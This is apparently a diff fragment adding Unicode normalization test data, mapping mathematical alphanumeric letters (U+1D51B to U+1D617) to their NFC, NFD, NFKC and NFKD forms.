+{ source: [0x1D51B], NFC: [0x1D51B], NFD: [0x1D51B], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D51C], NFC: [0x1D51C], NFD: [0x1D51C], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D51E], NFC: [0x1D51E], NFD: [0x1D51E], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D51F], NFC: [0x1D51F], NFD: [0x1D51F], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D520], NFC: [0x1D520], NFD: [0x1D520], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D521], NFC: [0x1D521], NFD: [0x1D521], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D522], NFC: [0x1D522], NFD: [0x1D522], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D523], NFC: [0x1D523], NFD: [0x1D523], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D524], NFC: [0x1D524], NFD: [0x1D524], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D525], NFC: [0x1D525], NFD: [0x1D525], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D526], NFC: [0x1D526], NFD: [0x1D526], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D527], NFC: [0x1D527], NFD: [0x1D527], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D528], NFC: [0x1D528], NFD: [0x1D528], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D529], NFC: [0x1D529], NFD: [0x1D529], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D52A], NFC: [0x1D52A], NFD: [0x1D52A], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D52B], NFC: [0x1D52B], NFD: [0x1D52B], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D52C], NFC: [0x1D52C], NFD: [0x1D52C], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D52D], NFC: [0x1D52D], NFD: [0x1D52D], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D52E], NFC: [0x1D52E], NFD: [0x1D52E], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D52F], NFC: [0x1D52F], NFD: [0x1D52F], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D530], NFC: [0x1D530], NFD: [0x1D530], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D531], NFC: [0x1D531], NFD: [0x1D531], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D532], NFC: [0x1D532], NFD: [0x1D532], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D533], NFC: [0x1D533], NFD: [0x1D533], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D534], NFC: [0x1D534], NFD: [0x1D534], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D535], NFC: [0x1D535], NFD: [0x1D535], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D536], NFC: [0x1D536], NFD: [0x1D536], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D537], NFC: [0x1D537], NFD: [0x1D537], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D538], NFC: [0x1D538], NFD: [0x1D538], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D539], NFC: [0x1D539], NFD: [0x1D539], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D53B], NFC: [0x1D53B], NFD: [0x1D53B], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D53C], NFC: [0x1D53C], NFD: [0x1D53C], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D53D], NFC: [0x1D53D], NFD: [0x1D53D], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D53E], NFC: [0x1D53E], NFD: [0x1D53E], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D540], NFC: [0x1D540], NFD: [0x1D540], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D541], NFC: [0x1D541], NFD: [0x1D541], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D542], NFC: [0x1D542], NFD: [0x1D542], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D543], NFC: [0x1D543], NFD: [0x1D543], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D544], NFC: [0x1D544], NFD: [0x1D544], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D546], NFC: [0x1D546], NFD: [0x1D546], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D54A], NFC: [0x1D54A], NFD: [0x1D54A], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D54B], NFC: [0x1D54B], NFD: [0x1D54B], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D54C], NFC: [0x1D54C], NFD: [0x1D54C], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D54D], NFC: [0x1D54D], NFD: [0x1D54D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D54E], NFC: [0x1D54E], NFD: [0x1D54E], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D54F], NFC: [0x1D54F], NFD: [0x1D54F], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D550], NFC: [0x1D550], NFD: [0x1D550], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D552], NFC: [0x1D552], NFD: [0x1D552], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D553], NFC: [0x1D553], NFD: [0x1D553], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D554], NFC: [0x1D554], NFD: [0x1D554], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D555], NFC: [0x1D555], NFD: [0x1D555], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D556], NFC: [0x1D556], NFD: [0x1D556], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D557], NFC: [0x1D557], NFD: [0x1D557], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D558], NFC: [0x1D558], NFD: [0x1D558], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D559], NFC: [0x1D559], NFD: [0x1D559], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D55A], NFC: [0x1D55A], NFD: [0x1D55A], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D55B], NFC: [0x1D55B], NFD: [0x1D55B], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D55C], NFC: [0x1D55C], NFD: [0x1D55C], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D55D], NFC: [0x1D55D], NFD: [0x1D55D], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D55E], NFC: [0x1D55E], NFD: [0x1D55E], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D55F], NFC: [0x1D55F], NFD: [0x1D55F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D560], NFC: [0x1D560], NFD: [0x1D560], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D561], NFC: [0x1D561], NFD: [0x1D561], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D562], NFC: [0x1D562], NFD: [0x1D562], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D563], NFC: [0x1D563], NFD: [0x1D563], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D564], NFC: [0x1D564], NFD: [0x1D564], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D565], NFC: [0x1D565], NFD: [0x1D565], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D566], NFC: [0x1D566], NFD: [0x1D566], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D567], NFC: [0x1D567], NFD: [0x1D567], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D568], NFC: [0x1D568], NFD: [0x1D568], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D569], NFC: [0x1D569], NFD: [0x1D569], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D56A], NFC: [0x1D56A], NFD: [0x1D56A], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D56B], NFC: [0x1D56B], NFD: [0x1D56B], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D56C], NFC: [0x1D56C], NFD: [0x1D56C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D56D], NFC: [0x1D56D], NFD: [0x1D56D], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D56E], NFC: [0x1D56E], NFD: [0x1D56E], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D56F], NFC: [0x1D56F], NFD: [0x1D56F], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D570], NFC: [0x1D570], NFD: [0x1D570], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D571], NFC: [0x1D571], NFD: [0x1D571], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D572], NFC: [0x1D572], NFD: [0x1D572], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D573], NFC: [0x1D573], NFD: [0x1D573], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D574], NFC: [0x1D574], NFD: [0x1D574], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D575], NFC: [0x1D575], NFD: [0x1D575], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D576], NFC: [0x1D576], NFD: [0x1D576], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D577], NFC: [0x1D577], NFD: [0x1D577], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D578], NFC: [0x1D578], NFD: [0x1D578], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D579], NFC: [0x1D579], NFD: [0x1D579], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D57A], NFC: [0x1D57A], NFD: [0x1D57A], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D57B], NFC: [0x1D57B], NFD: [0x1D57B], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D57C], NFC: [0x1D57C], NFD: [0x1D57C], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D57D], NFC: [0x1D57D], NFD: [0x1D57D], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D57E], NFC: [0x1D57E], NFD: [0x1D57E], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D57F], NFC: [0x1D57F], NFD: [0x1D57F], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D580], NFC: [0x1D580], NFD: [0x1D580], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D581], NFC: [0x1D581], NFD: [0x1D581], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D582], NFC: [0x1D582], NFD: [0x1D582], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D583], NFC: [0x1D583], NFD: [0x1D583], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D584], NFC: [0x1D584], NFD: [0x1D584], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D585], NFC: [0x1D585], NFD: [0x1D585], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D586], NFC: [0x1D586], NFD: [0x1D586], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D587], NFC: [0x1D587], NFD: [0x1D587], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D588], NFC: [0x1D588], NFD: [0x1D588], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D589], NFC: [0x1D589], NFD: [0x1D589], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D58A], NFC: [0x1D58A], NFD: [0x1D58A], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D58B], NFC: [0x1D58B], NFD: [0x1D58B], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D58C], NFC: [0x1D58C], NFD: [0x1D58C], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D58D], NFC: [0x1D58D], NFD: [0x1D58D], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D58E], NFC: [0x1D58E], NFD: [0x1D58E], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D58F], NFC: [0x1D58F], NFD: [0x1D58F], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D590], NFC: [0x1D590], NFD: [0x1D590], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D591], NFC: [0x1D591], NFD: [0x1D591], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D592], NFC: [0x1D592], NFD: [0x1D592], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D593], NFC: [0x1D593], NFD: [0x1D593], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D594], NFC: [0x1D594], NFD: [0x1D594], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D595], NFC: [0x1D595], NFD: [0x1D595], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D596], NFC: [0x1D596], NFD: [0x1D596], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D597], NFC: [0x1D597], NFD: [0x1D597], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D598], NFC: [0x1D598], NFD: [0x1D598], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D599], NFC: [0x1D599], NFD: [0x1D599], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D59A], NFC: [0x1D59A], NFD: [0x1D59A], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D59B], NFC: [0x1D59B], NFD: [0x1D59B], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D59C], NFC: [0x1D59C], NFD: [0x1D59C], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D59D], NFC: [0x1D59D], NFD: [0x1D59D], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D59E], NFC: [0x1D59E], NFD: [0x1D59E], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D59F], NFC: [0x1D59F], NFD: [0x1D59F], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D5A0], NFC: [0x1D5A0], NFD: [0x1D5A0], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D5A1], NFC: [0x1D5A1], NFD: [0x1D5A1], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D5A2], NFC: [0x1D5A2], NFD: [0x1D5A2], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D5A3], NFC: [0x1D5A3], NFD: [0x1D5A3], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D5A4], NFC: [0x1D5A4], NFD: [0x1D5A4], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D5A5], NFC: [0x1D5A5], NFD: [0x1D5A5], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D5A6], NFC: [0x1D5A6], NFD: [0x1D5A6], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D5A7], NFC: [0x1D5A7], NFD: [0x1D5A7], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D5A8], NFC: [0x1D5A8], NFD: [0x1D5A8], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D5A9], NFC: [0x1D5A9], NFD: [0x1D5A9], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D5AA], NFC: [0x1D5AA], NFD: [0x1D5AA], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D5AB], NFC: [0x1D5AB], NFD: [0x1D5AB], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D5AC], NFC: [0x1D5AC], NFD: [0x1D5AC], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D5AD], NFC: [0x1D5AD], NFD: [0x1D5AD], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D5AE], NFC: [0x1D5AE], NFD: [0x1D5AE], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D5AF], NFC: [0x1D5AF], NFD: [0x1D5AF], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D5B0], NFC: [0x1D5B0], NFD: [0x1D5B0], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D5B1], NFC: [0x1D5B1], NFD: [0x1D5B1], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D5B2], NFC: [0x1D5B2], NFD: [0x1D5B2], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D5B3], NFC: [0x1D5B3], NFD: [0x1D5B3], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D5B4], NFC: [0x1D5B4], NFD: [0x1D5B4], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D5B5], NFC: [0x1D5B5], NFD: [0x1D5B5], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D5B6], NFC: [0x1D5B6], NFD: [0x1D5B6], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D5B7], NFC: [0x1D5B7], NFD: [0x1D5B7], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D5B8], NFC: [0x1D5B8], NFD: [0x1D5B8], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D5B9], NFC: [0x1D5B9], NFD: [0x1D5B9], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D5BA], NFC: [0x1D5BA], NFD: [0x1D5BA], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D5BB], NFC: [0x1D5BB], NFD: [0x1D5BB], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D5BC], NFC: [0x1D5BC], NFD: [0x1D5BC], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D5BD], NFC: [0x1D5BD], NFD: [0x1D5BD], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D5BE], NFC: [0x1D5BE], NFD: [0x1D5BE], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D5BF], NFC: [0x1D5BF], NFD: [0x1D5BF], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D5C0], NFC: [0x1D5C0], NFD: [0x1D5C0], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D5C1], NFC: [0x1D5C1], NFD: [0x1D5C1], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D5C2], NFC: [0x1D5C2], NFD: [0x1D5C2], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D5C3], NFC: [0x1D5C3], NFD: [0x1D5C3], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D5C4], NFC: [0x1D5C4], NFD: [0x1D5C4], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D5C5], NFC: [0x1D5C5], NFD: [0x1D5C5], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D5C6], NFC: [0x1D5C6], NFD: [0x1D5C6], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D5C7], NFC: [0x1D5C7], NFD: [0x1D5C7], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D5C8], NFC: [0x1D5C8], NFD: [0x1D5C8], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D5C9], NFC: [0x1D5C9], NFD: [0x1D5C9], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D5CA], NFC: [0x1D5CA], NFD: [0x1D5CA], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D5CB], NFC: [0x1D5CB], NFD: [0x1D5CB], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D5CC], NFC: [0x1D5CC], NFD: [0x1D5CC], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D5CD], NFC: [0x1D5CD], NFD: [0x1D5CD], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D5CE], NFC: [0x1D5CE], NFD: [0x1D5CE], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D5CF], NFC: [0x1D5CF], NFD: [0x1D5CF], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D5D0], NFC: [0x1D5D0], NFD: [0x1D5D0], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D5D1], NFC: [0x1D5D1], NFD: [0x1D5D1], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D5D2], NFC: [0x1D5D2], NFD: [0x1D5D2], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D5D3], NFC: [0x1D5D3], NFD: [0x1D5D3], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D5D4], NFC: [0x1D5D4], NFD: [0x1D5D4], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D5D5], NFC: [0x1D5D5], NFD: [0x1D5D5], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D5D6], NFC: [0x1D5D6], NFD: [0x1D5D6], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D5D7], NFC: [0x1D5D7], NFD: [0x1D5D7], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D5D8], NFC: [0x1D5D8], NFD: [0x1D5D8], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D5D9], NFC: [0x1D5D9], NFD: [0x1D5D9], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D5DA], NFC: [0x1D5DA], NFD: [0x1D5DA], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D5DB], NFC: [0x1D5DB], NFD: [0x1D5DB], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D5DC], NFC: [0x1D5DC], NFD: [0x1D5DC], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D5DD], NFC: [0x1D5DD], NFD: [0x1D5DD], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D5DE], NFC: [0x1D5DE], NFD: [0x1D5DE], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D5DF], NFC: [0x1D5DF], NFD: [0x1D5DF], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D5E0], NFC: [0x1D5E0], NFD: [0x1D5E0], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D5E1], NFC: [0x1D5E1], NFD: [0x1D5E1], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D5E2], NFC: [0x1D5E2], NFD: [0x1D5E2], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D5E3], NFC: [0x1D5E3], NFD: [0x1D5E3], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D5E4], NFC: [0x1D5E4], NFD: [0x1D5E4], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D5E5], NFC: [0x1D5E5], NFD: [0x1D5E5], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D5E6], NFC: [0x1D5E6], NFD: [0x1D5E6], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D5E7], NFC: [0x1D5E7], NFD: [0x1D5E7], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D5E8], NFC: [0x1D5E8], NFD: [0x1D5E8], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D5E9], NFC: [0x1D5E9], NFD: [0x1D5E9], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D5EA], NFC: [0x1D5EA], NFD: [0x1D5EA], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D5EB], NFC: [0x1D5EB], NFD: [0x1D5EB], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D5EC], NFC: [0x1D5EC], NFD: [0x1D5EC], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D5ED], NFC: [0x1D5ED], NFD: [0x1D5ED], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D5EE], NFC: [0x1D5EE], NFD: [0x1D5EE], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D5EF], NFC: [0x1D5EF], NFD: [0x1D5EF], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D5F0], NFC: [0x1D5F0], NFD: [0x1D5F0], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D5F1], NFC: [0x1D5F1], NFD: [0x1D5F1], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D5F2], NFC: [0x1D5F2], NFD: [0x1D5F2], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D5F3], NFC: [0x1D5F3], NFD: [0x1D5F3], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D5F4], NFC: [0x1D5F4], NFD: [0x1D5F4], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D5F5], NFC: [0x1D5F5], NFD: [0x1D5F5], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D5F6], NFC: [0x1D5F6], NFD: [0x1D5F6], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D5F7], NFC: [0x1D5F7], NFD: [0x1D5F7], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D5F8], NFC: [0x1D5F8], NFD: [0x1D5F8], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D5F9], NFC: [0x1D5F9], NFD: [0x1D5F9], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D5FA], NFC: [0x1D5FA], NFD: [0x1D5FA], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D5FB], NFC: [0x1D5FB], NFD: [0x1D5FB], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D5FC], NFC: [0x1D5FC], NFD: [0x1D5FC], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D5FD], NFC: [0x1D5FD], NFD: [0x1D5FD], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D5FE], NFC: [0x1D5FE], NFD: [0x1D5FE], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D5FF], NFC: [0x1D5FF], NFD: [0x1D5FF], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D600], NFC: [0x1D600], NFD: [0x1D600], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D601], NFC: [0x1D601], NFD: [0x1D601], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D602], NFC: [0x1D602], NFD: [0x1D602], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D603], NFC: [0x1D603], NFD: [0x1D603], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D604], NFC: [0x1D604], NFD: [0x1D604], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D605], NFC: [0x1D605], NFD: [0x1D605], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D606], NFC: [0x1D606], NFD: [0x1D606], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D607], NFC: [0x1D607], NFD: [0x1D607], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D608], NFC: [0x1D608], NFD: [0x1D608], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D609], NFC: [0x1D609], NFD: [0x1D609], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D60A], NFC: [0x1D60A], NFD: [0x1D60A], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D60B], NFC: [0x1D60B], NFD: [0x1D60B], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D60C], NFC: [0x1D60C], NFD: [0x1D60C], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D60D], NFC: [0x1D60D], NFD: [0x1D60D], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D60E], NFC: [0x1D60E], NFD: [0x1D60E], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D60F], NFC: [0x1D60F], NFD: [0x1D60F], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D610], NFC: [0x1D610], NFD: [0x1D610], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D611], NFC: [0x1D611], NFD: [0x1D611], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D612], NFC: [0x1D612], NFD: [0x1D612], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D613], NFC: [0x1D613], NFD: [0x1D613], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D614], NFC: [0x1D614], NFD: [0x1D614], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D615], NFC: [0x1D615], NFD: [0x1D615], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D616], NFC: [0x1D616], NFD: [0x1D616], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D617], NFC: [0x1D617], NFD: [0x1D617], NFKC: [0x0050], NFKD: [0x0050] },
